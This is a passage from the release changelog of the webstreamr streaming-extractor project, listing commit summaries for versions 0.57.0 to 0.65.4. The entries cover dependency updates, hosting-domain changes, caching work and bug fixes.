* **extractor:** only use bytes and height from meta cache to avoid clashes ([a9c281c](https://github.com/webstreamr/webstreamr/commit/a9c281c8c4c0d215dc78fedd6a34072e0aec9f31))
## [0.65.4](https://github.com/webstreamr/webstreamr/compare/v0.65.3...v0.65.4) (2026-01-16)
### Miscellaneous Chores
* extract HubDrive handling into own extractor re-using HubCloud for better caching, increase both TTLs ([986db2c](https://github.com/webstreamr/webstreamr/commit/986db2cc670dba5ce5c01e69d280803140bda24d))
* **extractor:** simplify cache expiration handling ([507b960](https://github.com/webstreamr/webstreamr/commit/507b96014c8cce1ebf4f836f084e6ce3af67acfb))
## [0.65.3](https://github.com/webstreamr/webstreamr/compare/v0.65.2...v0.65.3) (2026-01-16)
### Documentation
* add tmp mount for persistent cache to Docker run example ([231a12f](https://github.com/webstreamr/webstreamr/commit/231a12f685e56aeaab7fd377c4b953e992bcce7e))
* mention FlareSolverr support / env var ([e54b54b](https://github.com/webstreamr/webstreamr/commit/e54b54bfb3e13d417b52be001bcd646edfcf4bcf))
### Bug Fixes
* **fetcher:** more FlareSolverr related stats, fix clearance cookie expiration ([4cfbf73](https://github.com/webstreamr/webstreamr/commit/4cfbf731b87873e70a76119f96984e2f1a958fdf))
## [0.65.2](https://github.com/webstreamr/webstreamr/compare/v0.65.1...v0.65.2) (2026-01-16)
### Miscellaneous Chores
* **deps:** update dependency @tsconfig/node24 to v24.0.4 ([#662](https://github.com/webstreamr/webstreamr/issues/662)) ([90c56de](https://github.com/webstreamr/webstreamr/commit/90c56debfe2e52812f16c9043da601404c6dfbbc))
### Bug Fixes
* **fetcher:** make FlareSolverr work again, use single session and pass proxy ([59c8495](https://github.com/webstreamr/webstreamr/commit/59c84952ede26df776cc33c6da57e75ef9dfc258))
* remove leftover logging ([9cf9c44](https://github.com/webstreamr/webstreamr/commit/9cf9c4498c610cc84af4f5bf28967f169fda214a))
## [0.65.1](https://github.com/webstreamr/webstreamr/compare/v0.65.0...v0.65.1) (2026-01-15)
### Bug Fixes
* calculate fallback count properly, only use VidSrc when no other normal source provided results ([5ef6119](https://github.com/webstreamr/webstreamr/commit/5ef61192948b42240ea21ddde7940e881f921aaf))
* **extractor:** use lazy url/meta cache also for extractors without a ttl ([26278aa](https://github.com/webstreamr/webstreamr/commit/26278aadba170948107c909c9bf9426e6379b10a))
* **extractor:** use milliseconds instead of incorrect seconds for ttl ([17e70c1](https://github.com/webstreamr/webstreamr/commit/17e70c169b6e26ee674c2d608e4bef1bdbb3a08c))
* **source:** be resilient against missing heights in 4KHDHub ([79c8e7f](https://github.com/webstreamr/webstreamr/commit/79c8e7fc3255333ae011c12262410ef1739f304b))
## [0.65.0](https://github.com/webstreamr/webstreamr/compare/v0.64.0...v0.65.0) (2026-01-15)
### Miscellaneous Chores
* make cache immutable, add rate limit ([7593d3d](https://github.com/webstreamr/webstreamr/commit/7593d3d62e638168c9cfbab5cd71f514745ed42a))
### Features
* add fetcher http stats ([4cf08fc](https://github.com/webstreamr/webstreamr/commit/4cf08fc6d55dbcc1de551091d14f731265b89fd5))
* introduce fallback sources and mark VidSrc and RgShows as such ([bad1170](https://github.com/webstreamr/webstreamr/commit/bad1170421298ef6aa5f1c69a6214065fe184773))
### Bug Fixes
* **extractor:** make VixSrc fall back to multi instead of it if language cannot be determined ([ce11a80](https://github.com/webstreamr/webstreamr/commit/ce11a80ba9d71def7f4eab29666eb606e1f5ad59))
## [0.64.0](https://github.com/webstreamr/webstreamr/compare/v0.63.1...v0.64.0) (2026-01-14)
### Features
* **extractor:** add back VidSrc ([9ee91df](https://github.com/webstreamr/webstreamr/commit/9ee91dff31636d6bf980614bfd0f375135c735e7))
* **source:** bring back VidSrc as multi source ([381fb89](https://github.com/webstreamr/webstreamr/commit/381fb89cfba8ff3c985ec2ddb11f65467f59c230))
## [0.63.1](https://github.com/webstreamr/webstreamr/compare/v0.63.0...v0.63.1) (2026-01-14)
### Miscellaneous Chores
* do not ignore errors on height guessing ([a189cdd](https://github.com/webstreamr/webstreamr/commit/a189cddd370c84cc22a93809827c8b988cbbc13f))
* **extractor:** make lazyUrlResultCache non-blocking and add stats ([9d6d138](https://github.com/webstreamr/webstreamr/commit/9d6d138fff8a2240f87b227a506fe3ecebd0f677))
* regularly clean-up expired items from sqlite cache ([51aa127](https://github.com/webstreamr/webstreamr/commit/51aa127a33f3a3b5b5cfc738e00cd9f682394ea8))
### Bug Fixes
* **source:** make 4KHDHub title matching just a tiny bit less strict ([f7cf9da](https://github.com/webstreamr/webstreamr/commit/f7cf9da686e44a36229c590772f651bcd8955a85))
## [0.63.0](https://github.com/webstreamr/webstreamr/compare/v0.62.3...v0.63.0) (2026-01-12)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#640](https://github.com/webstreamr/webstreamr/issues/640)) ([20ce2ac](https://github.com/webstreamr/webstreamr/commit/20ce2ac831f1204ffc4dad01d30c1cd00bfe4007))
* **deps:** update dependency @types/node to v24.10.7 ([#639](https://github.com/webstreamr/webstreamr/issues/639)) ([816123a](https://github.com/webstreamr/webstreamr/commit/816123ab83c6be300155f8013788d2473650b39a))
* **deps:** update dependency typescript-eslint to v8.53.0 ([#645](https://github.com/webstreamr/webstreamr/issues/645)) ([9e25618](https://github.com/webstreamr/webstreamr/commit/9e256186aa6270df59e98cb793f8a62578e30775))
### Features
* introduce generic meta cache ([f047287](https://github.com/webstreamr/webstreamr/commit/f047287fe90fba26c19831c1becf0e6d127ee020))
* introduce lazy extract for all non-HLS streams ([c6a6a70](https://github.com/webstreamr/webstreamr/commit/c6a6a70eafcff803ea4594037c7a39616a43a304))
## [0.62.3](https://github.com/webstreamr/webstreamr/compare/v0.62.2...v0.62.3) (2026-01-11)
### Miscellaneous Chores
* configure more Indian languages, add Tamil and Telugu to 4KHDHub ([05b80a2](https://github.com/webstreamr/webstreamr/commit/05b80a2d6367a459fe84879c9b318c416a7a4180))
* enable nonBlocking secondary cache writes ([1a99a9e](https://github.com/webstreamr/webstreamr/commit/1a99a9e99ba233c1144107cb3de32c8a5bd28073))
* **extractor:** return only best Fsst result ([f49769f](https://github.com/webstreamr/webstreamr/commit/f49769f3c4c2ca9cfca006a45d8a59c7bc3b68e8))
### Bug Fixes
* **source:** RgShows is multi ([de79dc0](https://github.com/webstreamr/webstreamr/commit/de79dc014fc00e91f926a7d5b450f875acd2bcdb))
## [0.62.2](https://github.com/webstreamr/webstreamr/compare/v0.62.1...v0.62.2) (2026-01-10)
### Bug Fixes
* **extractor:** support non-HLS streams in RgShows ([d1fcd67](https://github.com/webstreamr/webstreamr/commit/d1fcd671c9646ef923ff7bd8bcb2fe7ad0d599b1))
## [0.62.1](https://github.com/webstreamr/webstreamr/compare/v0.62.0...v0.62.1) (2026-01-10)
### Miscellaneous Chores
* **source:** simplifly Frembed domain detection again ([559ee6e](https://github.com/webstreamr/webstreamr/commit/559ee6ed4e1d705dce358b54f98478317375562a))
## [0.62.0](https://github.com/webstreamr/webstreamr/compare/v0.61.0...v0.62.0) (2026-01-10)
### Miscellaneous Chores
* do not fail resolution if height guessing fails ([28a8a15](https://github.com/webstreamr/webstreamr/commit/28a8a1554d1c14eb85577e73191a325cc686f22a))
* remove all proxy black magic ([66fb0e2](https://github.com/webstreamr/webstreamr/commit/66fb0e2e6dc379a8d4347c576a3c15605745d257))
* **source:** improve 4KHDHub search matching ([b273e3a](https://github.com/webstreamr/webstreamr/commit/b273e3a71d09cf2dfd6fffa851e26ea398967878))
### Features
* **extractor:** add StreamUP ([#621](https://github.com/webstreamr/webstreamr/issues/621)) ([baf5c91](https://github.com/webstreamr/webstreamr/commit/baf5c9143d4dab4607de891f5b17184e89e027c7))
## [0.61.0](https://github.com/webstreamr/webstreamr/compare/v0.60.0...v0.61.0) (2026-01-09)
### Miscellaneous Chores
* **deps:** update dependency @stylistic/eslint-plugin to v5.7.0 ([#624](https://github.com/webstreamr/webstreamr/issues/624)) ([86eb3d4](https://github.com/webstreamr/webstreamr/commit/86eb3d498c3a147c14342c709986ba67fba47919))
* **deps:** update dependency axios-cache-interceptor to v1.11.3 ([#626](https://github.com/webstreamr/webstreamr/issues/626)) ([4bec9e5](https://github.com/webstreamr/webstreamr/commit/4bec9e556f8618bc00ea3cda685e3e91aeba82c3))
* enforce https:// prefix in mediaflow proxy url and support config without scheme to work aroud elfhosted weirdness ([da7397f](https://github.com/webstreamr/webstreamr/commit/da7397fe75d434aa8a76e1f6ea2443bd631a4ace))
### Features
* add RgShows ([dcad7db](https://github.com/webstreamr/webstreamr/commit/dcad7db29c272dcb35504cc38d365a929906bf9c))
## [0.60.0](https://github.com/webstreamr/webstreamr/compare/v0.59.1...v0.60.0) (2026-01-06)
### Miscellaneous Chores
* **fetcher:** disable TLS verification ([281fe00](https://github.com/webstreamr/webstreamr/commit/281fe00a351fc7aa25596e4b1f6b6272247feeb8))
### Features
* **extractor:** switch KinoGer from cf to source, add kinoger.p2pplay.pro support ([f6f71b0](https://github.com/webstreamr/webstreamr/commit/f6f71b043bc51b1b22316c53c916bf24ab745f95))
## [0.59.1](https://github.com/webstreamr/webstreamr/compare/v0.59.0...v0.59.1) (2026-01-06)
### Bug Fixes
* **source:** adapt MegaKino domain ([04f3fc4](https://github.com/webstreamr/webstreamr/commit/04f3fc42e06f4a69804bb0c080922615843af31f))
## [0.59.0](https://github.com/webstreamr/webstreamr/compare/v0.58.12...v0.59.0) (2026-01-06)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#615](https://github.com/webstreamr/webstreamr/issues/615)) ([8d1991e](https://github.com/webstreamr/webstreamr/commit/8d1991ed84f566585ec528345bee1548b4916c35))
* **deps:** update dependency typescript-eslint to v8.52.0 ([#616](https://github.com/webstreamr/webstreamr/issues/616)) ([430e5b7](https://github.com/webstreamr/webstreamr/commit/430e5b7fce20925814227a7effbe55a5eb6bb2eb))
* **extractor:** add crystaltreatmenteast.com to VOE ([bfe8c36](https://github.com/webstreamr/webstreamr/commit/bfe8c36e874c9f246852d17fcedf83eb5e4d481f))
* **source:** do not filter out any KinoGer links ([41bc53b](https://github.com/webstreamr/webstreamr/commit/41bc53b9da4f4882b415b055d99f0ef31c5a907a))
### Features
* **extractor:** bring back Fsst ([e1e8f37](https://github.com/webstreamr/webstreamr/commit/e1e8f37862874f3e178b4e4dbd2f44bfcc47a0ab))
### Bug Fixes
* **extractor:** handle FileLions deleted by administration ([c075fe9](https://github.com/webstreamr/webstreamr/commit/c075fe9481f21e2f3f5715227b4b939c3de11d0b))
* **source:** handle MegaKino relative page links ([7146c6c](https://github.com/webstreamr/webstreamr/commit/7146c6cf11fa0d7ad12596987eeff176daf97697))
## [0.58.12](https://github.com/webstreamr/webstreamr/compare/v0.58.11...v0.58.12) (2026-01-02)
### Miscellaneous Chores
* **source:** add 4KHDHub test for stranger things s05e08 ([93a098e](https://github.com/webstreamr/webstreamr/commit/93a098e438438efe3d22b4439378f9de6fc0e577))
* **source:** determine latest 4KHDHub domain more dynamically ([f8f62db](https://github.com/webstreamr/webstreamr/commit/f8f62db174eaa4acc8dbce1ff9f44a0318e99a7a))
* **source:** update 4KHDHub TLD and re-generate fixtures ([1f4d7c7](https://github.com/webstreamr/webstreamr/commit/1f4d7c752d08f9952af3f0c8a87a66b64ddb2c1d))
### Bug Fixes
* run `npm audit fix` to fix security issues ([9b3c7c7](https://github.com/webstreamr/webstreamr/commit/9b3c7c76cf2eb77e9df895408b65f316c71f9406))
## [0.58.11](https://github.com/webstreamr/webstreamr/compare/v0.58.10...v0.58.11) (2026-01-01)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#606](https://github.com/webstreamr/webstreamr/issues/606)) ([9079fee](https://github.com/webstreamr/webstreamr/commit/9079feebbdaaec181915bca174034a46c9f62ab0))
* **deps:** update dependency axios-cache-interceptor to v1.11.1 ([#605](https://github.com/webstreamr/webstreamr/issues/605)) ([a7d9359](https://github.com/webstreamr/webstreamr/commit/a7d93590c6c0d9e2a51cb08b5d6d9ddae64d0bec))
* **deps:** update dependency axios-cache-interceptor to v1.11.2 ([#607](https://github.com/webstreamr/webstreamr/issues/607)) ([30c6026](https://github.com/webstreamr/webstreamr/commit/30c60261af9406bd202733c3d58455949d1d557e))
* **deps:** update dependency typescript-eslint to v8.50.1 ([#599](https://github.com/webstreamr/webstreamr/issues/599)) ([d20c568](https://github.com/webstreamr/webstreamr/commit/d20c568e858ead5eac5b2ed4bd7b5e8838ccc9a2))
* **deps:** update dependency typescript-eslint to v8.51.0 ([#608](https://github.com/webstreamr/webstreamr/issues/608)) ([f8b63f4](https://github.com/webstreamr/webstreamr/commit/f8b63f4cceade84592c43fbd6644a3fb291eae49))
### Bug Fixes
* **extractor:** add new FileLions domain ([c8e38d7](https://github.com/webstreamr/webstreamr/commit/c8e38d73fff2ad0ca9205bc1c6770d3c102c3416))
* **extractor:** deal better with cases where video ID URLs end with a slash ([9f5ac02](https://github.com/webstreamr/webstreamr/commit/9f5ac02ec60b66fd08cd37fa33b723939faae4e5))
* **extractor:** use last FileMoon iframe url matcher ([135d90a](https://github.com/webstreamr/webstreamr/commit/135d90a2334e9598d5cc93d1973db417ef97c253))
* **fetcher:** increase queue limits 5 times ([e7b1e2a](https://github.com/webstreamr/webstreamr/commit/e7b1e2a4fcc9fae0b729118f274fc6fcc481ed4d))
* **test:** improve stability of MegaKino test by dirty mocking getFinalRedirectUrl ([6f24b79](https://github.com/webstreamr/webstreamr/commit/6f24b7928deed81b7891885a85dce031e4693a5a))
## [0.58.10](https://github.com/webstreamr/webstreamr/compare/v0.58.9...v0.58.10) (2025-12-22)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#580](https://github.com/webstreamr/webstreamr/issues/580)) ([0164995](https://github.com/webstreamr/webstreamr/commit/01649955b1f66c4b2093972c7d8c2e3a09cfd1af))
* **deps:** lock file maintenance ([#595](https://github.com/webstreamr/webstreamr/issues/595)) ([36a15f0](https://github.com/webstreamr/webstreamr/commit/36a15f0091343165751ca3e9ecbe7d7709fdc39f))
* **deps:** replace dependency @tsconfig/node22 with @tsconfig/node24 ([#581](https://github.com/webstreamr/webstreamr/issues/581)) ([9fd5634](https://github.com/webstreamr/webstreamr/commit/9fd563450ebf56c741146b488e2f16673d66a85c))
* **deps:** update dependency @types/node to v24.10.4 ([#579](https://github.com/webstreamr/webstreamr/issues/579)) ([5d412b7](https://github.com/webstreamr/webstreamr/commit/5d412b759f7e3e3233fd5c6423418bfd3ea4d028))
* **deps:** update dependency axios-cache-interceptor to v1.10.0 ([#592](https://github.com/webstreamr/webstreamr/issues/592)) ([58bd625](https://github.com/webstreamr/webstreamr/commit/58bd6250c9636ee99ece3930a792515a5a2e9d5e))
* **deps:** update dependency axios-cache-interceptor to v1.9.1 ([#584](https://github.com/webstreamr/webstreamr/issues/584)) ([fa6bee4](https://github.com/webstreamr/webstreamr/commit/fa6bee4c834eae612019ced0081aed320fbf80f4))
* **deps:** update dependency cacheable to v2.3.1 ([#587](https://github.com/webstreamr/webstreamr/issues/587)) ([10081a2](https://github.com/webstreamr/webstreamr/commit/10081a2276e9808f0a376c8084231ab929de3eda))
* **deps:** update dependency typescript-eslint to v8.50.0 ([#583](https://github.com/webstreamr/webstreamr/issues/583)) ([40f9f9e](https://github.com/webstreamr/webstreamr/commit/40f9f9ec8c1f6f96429d86960c9973150a8d116d))
* **deps:** update eslint monorepo to v9.39.2 ([#574](https://github.com/webstreamr/webstreamr/issues/574)) ([4f7a9d7](https://github.com/webstreamr/webstreamr/commit/4f7a9d725e69be926b3142453590a314913e83c5))
* **source:** useless debug log ([7264fd2](https://github.com/webstreamr/webstreamr/commit/7264fd2ed4c3d2f05b8a330ef39e246d97bba039))
### Bug Fixes
* **extractor:** update FileLion domains, remove kinoger.be ([6cc24c0](https://github.com/webstreamr/webstreamr/commit/6cc24c0332b6a34276de1bfd9d53053541639163))
* return 400 for invalid ID instead of raising Error ([0610b85](https://github.com/webstreamr/webstreamr/commit/0610b8556ae3190b291dd040eff831d5e3e90878))
* **source:** determine Frembed domain dynamically ([924265b](https://github.com/webstreamr/webstreamr/commit/924265b9640385b33e3a7a8dfb61b4993442e52f))
* use "Mozilla" instead of "Mozilla/5.0" as default user agent ([ddf4f22](https://github.com/webstreamr/webstreamr/commit/ddf4f227b3350b87a91be6f2c063a993bf90f746))
## [0.58.9](https://github.com/webstreamr/webstreamr/compare/v0.58.8...v0.58.9) (2025-12-12)
### Bug Fixes
* **extractor:** fix HubCloud picking up incorrect FSL URLs ([e438f3c](https://github.com/webstreamr/webstreamr/commit/e438f3cbbde4ccf5614f574a8816db722751fcee))
* **extractor:** handle FileMoon with missing height info in packed ([d44e0a2](https://github.com/webstreamr/webstreamr/commit/d44e0a2588fddc332d5bc833936e42fcd5ca2667))
* **extractor:** use extractorId per HubCloud sub hoster again for better bingeGroup ([d71aa24](https://github.com/webstreamr/webstreamr/commit/d71aa240e7a29d34b82bc171bafd1b576c2efa89))
* **source:** resolve MegaKino dynamically and cache for an hour ([258e35c](https://github.com/webstreamr/webstreamr/commit/258e35c94db461a2efcb9089d640024ab123bdb6))
## [0.58.8](https://github.com/webstreamr/webstreamr/compare/v0.58.7...v0.58.8) (2025-12-11)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#562](https://github.com/webstreamr/webstreamr/issues/562)) ([5ff8a49](https://github.com/webstreamr/webstreamr/commit/5ff8a49be5a509df4b9503fb2ee42c9723207de5))
* **deps:** update dependency axios-cache-interceptor to v1.9.0 ([#566](https://github.com/webstreamr/webstreamr/issues/566)) ([32b49d4](https://github.com/webstreamr/webstreamr/commit/32b49d49a957626311c655ea403b1b9d8977187b))
* **deps:** update dependency typescript-eslint to v8.49.0 ([#567](https://github.com/webstreamr/webstreamr/issues/567)) ([580845a](https://github.com/webstreamr/webstreamr/commit/580845ae77c11652fafca932f79885d8f6738c56))
* **deps:** update dependency winston to v3.19.0 ([#559](https://github.com/webstreamr/webstreamr/issues/559)) ([3955820](https://github.com/webstreamr/webstreamr/commit/3955820eb96a65c1971f7a1eaaa180c5216e8fd4))
* **source:** remove VidSrc which does not add value atm ([1bd85fb](https://github.com/webstreamr/webstreamr/commit/1bd85fb4ad038ff979cb372fd0c8577c54aaf775))
### Bug Fixes
* **source:** update MegaKino domain ([42b9cbe](https://github.com/webstreamr/webstreamr/commit/42b9cbe38fc3449f64499419e35f380e1cdd2c80))
### Code Refactoring
* add generic source and extractor ids to meta and generalize bingeGroup generation ([d7edb51](https://github.com/webstreamr/webstreamr/commit/d7edb51698216ca56ce416fef0405f985dd85f3f))
## [0.58.7](https://github.com/webstreamr/webstreamr/compare/v0.58.6...v0.58.7) (2025-12-06)
### Miscellaneous Chores
* **extractor:** add kinoger.ru support to VOE ([50c5d3a](https://github.com/webstreamr/webstreamr/commit/50c5d3a1cd764086573c7c851595245c2f551140))
### Bug Fixes
* **source:** return all KinoGer domains, fixes VOE results ([cf0be47](https://github.com/webstreamr/webstreamr/commit/cf0be4712e0b8f718e9b23910ebbcab65d825130))
* **source:** update MegaKino domain ([0f7bc7c](https://github.com/webstreamr/webstreamr/commit/0f7bc7c07f11e188cfd1d372e02d8cef18f32573))
### Reverts
* fix(source): remove KinoGer ([8dae887](https://github.com/webstreamr/webstreamr/commit/8dae887ecab9c45fa5ac7419019d91459a15bfbb))
## [0.58.6](https://github.com/webstreamr/webstreamr/compare/v0.58.5...v0.58.6) (2025-12-04)
### Miscellaneous Chores
* **deps:** update dependency express to v5.2.0 ([#547](https://github.com/webstreamr/webstreamr/issues/547)) ([e092d72](https://github.com/webstreamr/webstreamr/commit/e092d7247d5085f7ac707e56f29c104af2196303))
* **deps:** update dependency express to v5.2.1 ([#549](https://github.com/webstreamr/webstreamr/issues/549)) ([f549a32](https://github.com/webstreamr/webstreamr/commit/f549a32dd27629984df9706b98dc9aabf38cc784))
* **deps:** update dependency ts-jest to v29.4.6 ([#546](https://github.com/webstreamr/webstreamr/issues/546)) ([d3dbedf](https://github.com/webstreamr/webstreamr/commit/d3dbedf18a582da1f4045820b6b76171d42791d6))
* **deps:** update dependency typescript-eslint to v8.48.1 ([#550](https://github.com/webstreamr/webstreamr/issues/550)) ([d7392c0](https://github.com/webstreamr/webstreamr/commit/d7392c09d2b6eaeefdf797cb4df76583419f1488))
### Bug Fixes
* **extractor:** handle DoodStream Not Found ([ae00c43](https://github.com/webstreamr/webstreamr/commit/ae00c431060c3bdf2184ffddc335cac5dd6f4cc4))
## [0.58.5](https://github.com/webstreamr/webstreamr/compare/v0.58.4...v0.58.5) (2025-12-01)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#542](https://github.com/webstreamr/webstreamr/issues/542)) ([d7e82ce](https://github.com/webstreamr/webstreamr/commit/d7e82ceff3c31f1f1a6ffb9c50ddd9dff41e8e34))
* **extractor:** add new VOE domains ([cba3c8b](https://github.com/webstreamr/webstreamr/commit/cba3c8bbaea45996647d1a0a14a63a829fc5ce91))
* **extractor:** match new DoodStream domain ([4a14ad7](https://github.com/webstreamr/webstreamr/commit/4a14ad7fb0dfbdb53f6a6cdd475f33cdd45842e6))
* introduce helper for better and central season/episode formatting ([5c04104](https://github.com/webstreamr/webstreamr/commit/5c04104ad21f8b0c21a4228893fa8ed8bd8351e5))
### Code Refactoring
* **extractor:** move label format handling into central place ([ef2b672](https://github.com/webstreamr/webstreamr/commit/ef2b6721c72283dde9b3a56f92ab7c435a4daac1))
## [0.58.4](https://github.com/webstreamr/webstreamr/compare/v0.58.3...v0.58.4) (2025-11-30)
### Miscellaneous Chores
* noop ([825d97a](https://github.com/webstreamr/webstreamr/commit/825d97adc4985beef5acf7a67d3ed7f91e2b9f78))
## [0.58.3](https://github.com/webstreamr/webstreamr/compare/v0.58.2...v0.58.3) (2025-11-30)
### Miscellaneous Chores
* adapt default user agent slightly ([1dd9d32](https://github.com/webstreamr/webstreamr/commit/1dd9d324e6a39b70bd7c171aed5853430b0f6159))
### Reverts
* "chore: remove proxy headers in requests" ([afbc16a](https://github.com/webstreamr/webstreamr/commit/afbc16a3ec717275f4f9af134edd9a2542a781c0))
## [0.58.2](https://github.com/webstreamr/webstreamr/compare/v0.58.1...v0.58.2) (2025-11-29)
### Miscellaneous Chores
* remove proxy headers in requests ([6f6a3ae](https://github.com/webstreamr/webstreamr/commit/6f6a3ae2fd58548c66822309e8768ae0ef76d9a3))
## [0.58.1](https://github.com/webstreamr/webstreamr/compare/v0.58.0...v0.58.1) (2025-11-29)
### Miscellaneous Chores
* switch to non-alpine based node image ([9f7155f](https://github.com/webstreamr/webstreamr/commit/9f7155f42e2ca68822c9b1c121b6bb3604f2e35d))
## [0.58.0](https://github.com/webstreamr/webstreamr/compare/v0.57.2...v0.58.0) (2025-11-29)
### Miscellaneous Chores
* **deps:** lock file maintenance ([#473](https://github.com/webstreamr/webstreamr/issues/473)) ([57bc464](https://github.com/webstreamr/webstreamr/commit/57bc4640e5931ad38d1200027a1f2f68891f18bb))
* **deps:** lock file maintenance ([#495](https://github.com/webstreamr/webstreamr/issues/495)) ([e478a45](https://github.com/webstreamr/webstreamr/commit/e478a45bc0f5fc3d86f42d0065a445e37e03255a))
* **deps:** lock file maintenance ([#508](https://github.com/webstreamr/webstreamr/issues/508)) ([3b78186](https://github.com/webstreamr/webstreamr/commit/3b7818670248b2b17aecd74d795a4f49c4b844e0))
* **deps:** lock file maintenance ([#520](https://github.com/webstreamr/webstreamr/issues/520)) ([4815054](https://github.com/webstreamr/webstreamr/commit/4815054feda7c7429065158d08b40b2df6f2e722))
* **deps:** update actions/checkout action to v6 ([#515](https://github.com/webstreamr/webstreamr/issues/515)) ([683e26e](https://github.com/webstreamr/webstreamr/commit/683e26e32a0c92fb3cebf5dad80d5621537da439))
* **deps:** update dependency @stylistic/eslint-plugin to v5.6.0 ([#512](https://github.com/webstreamr/webstreamr/issues/512)) ([b4ba098](https://github.com/webstreamr/webstreamr/commit/b4ba09815837c7cd3d02ba58cd4f63bc57fa95de))
* **deps:** update dependency @stylistic/eslint-plugin to v5.6.1 ([#513](https://github.com/webstreamr/webstreamr/issues/513)) ([c50e095](https://github.com/webstreamr/webstreamr/commit/c50e095781eb179e874585d7a264ef2ff1f6969b))
* **deps:** update dependency @tsconfig/node22 to v22.0.3 ([#502](https://github.com/webstreamr/webstreamr/issues/502)) ([3f0c661](https://github.com/webstreamr/webstreamr/commit/3f0c661dae7abbc06411c62c5244fe192f277924))
* **deps:** update dependency @tsconfig/node22 to v22.0.4 ([#504](https://github.com/webstreamr/webstreamr/issues/504)) ([e2268a3](https://github.com/webstreamr/webstreamr/commit/e2268a325a09d11126b3c95782804278310be867))
* **deps:** update dependency @tsconfig/node22 to v22.0.5 ([#511](https://github.com/webstreamr/webstreamr/issues/511)) ([836021c](https://github.com/webstreamr/webstreamr/commit/836021c57ec28819da374b7513bdd4429ea521dd))
* **deps:** update dependency @types/node to v24.10.1 ([#507](https://github.com/webstreamr/webstreamr/issues/507)) ([dbbf310](https://github.com/webstreamr/webstreamr/commit/dbbf310661b3b1cabac7bc40f4a2c3d7eeab7537))
* **deps:** update dependency cacheable to v2.2.0 ([#506](https://github.com/webstreamr/webstreamr/issues/506)) ([7eb760b](https://github.com/webstreamr/webstreamr/commit/7eb760b5d6d49f69ea8cca2fa110a60a23af0aec))
* **deps:** update dependency cacheable to v2.3.0 ([#526](https://github.com/webstreamr/webstreamr/issues/526)) ([219cb4b](https://github.com/webstreamr/webstreamr/commit/219cb4b5f619f5a30d1d4bd4e49939248c07afbc))
* **deps:** update dependency nodemon to v3.1.11 ([#499](https://github.com/webstreamr/webstreamr/issues/499)) ([7dca36f](https://github.com/webstreamr/webstreamr/commit/7dca36fa83838b317b0315903a65f84b54948975))
* **deps:** update dependency typescript-eslint to v8.46.3 ([#479](https://github.com/webstreamr/webstreamr/issues/479)) ([3c398d4](https://github.com/webstreamr/webstreamr/commit/3c398d4a1db17c67c6a3b220046b069e1f7e738b))
* **deps:** update dependency typescript-eslint to v8.46.4 ([#497](https://github.com/webstreamr/webstreamr/issues/497)) ([159be1c](https://github.com/webstreamr/webstreamr/commit/159be1cac484f80ccc813e07202431f97d034086))
* **deps:** update dependency typescript-eslint to v8.47.0 ([#510](https://github.com/webstreamr/webstreamr/issues/510)) ([0a85b0d](https://github.com/webstreamr/webstreamr/commit/0a85b0dc1ec195de3e14085c2d9132c8e64eaf66))
* **deps:** update dependency typescript-eslint to v8.48.0 ([#525](https://github.com/webstreamr/webstreamr/issues/525)) ([9bec5b5](https://github.com/webstreamr/webstreamr/commit/9bec5b5f3b353edaa9f5069f7ce36c01546d6d3a))
* **deps:** update eslint monorepo to v9.39.1 ([#468](https://github.com/webstreamr/webstreamr/issues/468)) ([33dbeb9](https://github.com/webstreamr/webstreamr/commit/33dbeb9776ffb9bc4e697163de4172353502d163))
* do not use proxy for MFP urls ([280abc4](https://github.com/webstreamr/webstreamr/commit/280abc4dea4c63dcbca778d333ad4cf267c2a079))
* **extractor:** remove non-working VidSrc ([f5f4740](https://github.com/webstreamr/webstreamr/commit/f5f47403cc15290c4473e3bdcdc4d131b8c9c4b2))
* **extractor:** shorten mediaflow proxy label ([4cd1e09](https://github.com/webstreamr/webstreamr/commit/4cd1e09466a69e27923207a7edb1fd77004e902a))
* **source:** use more consistent meta title format ([1765311](https://github.com/webstreamr/webstreamr/commit/17653115867f7349f11bc147cf2634bede0ddc7d))
### Continuous Integration
* run build and test actions for PRs ([d80ca63](https://github.com/webstreamr/webstreamr/commit/d80ca63dad2ad87a05c369189551e8632e2ad909))
### Features
* switch to axios to avoid Cloudflare TLS fingerprinting issues ([09f795b](https://github.com/webstreamr/webstreamr/commit/09f795b8622808e062bddecb02db68647d369183))
### Bug Fixes
* ensure that VixSrc results have a title ([67d0508](https://github.com/webstreamr/webstreamr/commit/67d0508fd768d9c9fc637e4bf32bfa6a7223808a))
* npm audit fix ([31e46c5](https://github.com/webstreamr/webstreamr/commit/31e46c5c56ce0fb2059b98ad7b6bbbda07ffa74d))
* **source:** update frembed domain and add referer for API requests ([d07d31d](https://github.com/webstreamr/webstreamr/commit/d07d31d94ad66a0530683620a2dce2321b4c833b))
* use axios proxy config properly ([b793001](https://github.com/webstreamr/webstreamr/commit/b7930014abbeb4445b15a12c060a9fc396561bd4))
* use correct fetch for FlareSolverr ([68cfa65](https://github.com/webstreamr/webstreamr/commit/68cfa65135b76ba054c33cd08350473967a6a078))
## [0.57.2](https://github.com/webstreamr/webstreamr/compare/v0.57.1...v0.57.2) (2025-11-03)
### Miscellaneous Chores
* **deps:** update dependency @types/express to v5.0.5 ([#472](https://github.com/webstreamr/webstreamr/issues/472)) ([a7bc742](https://github.com/webstreamr/webstreamr/commit/a7bc742035b0a836f785308b922ed919eed4e8b6))
* **extractor:** register Vidora extractor ([82b810e](https://github.com/webstreamr/webstreamr/commit/82b810ed3609cfda5628a33b98e417847bcf3cc6))
### Bug Fixes
* **extractor:** fix KinoGer and add new domains ([8e1ea10](https://github.com/webstreamr/webstreamr/commit/8e1ea10c5a031c864ab8dc752e2a2568671050a4))
## [0.57.1](https://github.com/webstreamr/webstreamr/compare/v0.57.0...v0.57.1) (2025-11-02)
### Bug Fixes
* **source:** switch to new Frembed domain ([88a1fe1](https://github.com/webstreamr/webstreamr/commit/88a1fe10a155d72b05df905e0eabff3ff857b483))
## [0.57.0](https://github.com/webstreamr/webstreamr/compare/v0.56.8...v0.57.0) (2025-11-01)
### Features
* **extractor:** add Vidora extractor ([#466](https://github.com/webstreamr/webstreamr/issues/466)) ([db25f98](https://github.com/webstreamr/webstreamr/commit/db25f98251257133ead68187e3aa97333cbab302))
### Bug Fixes
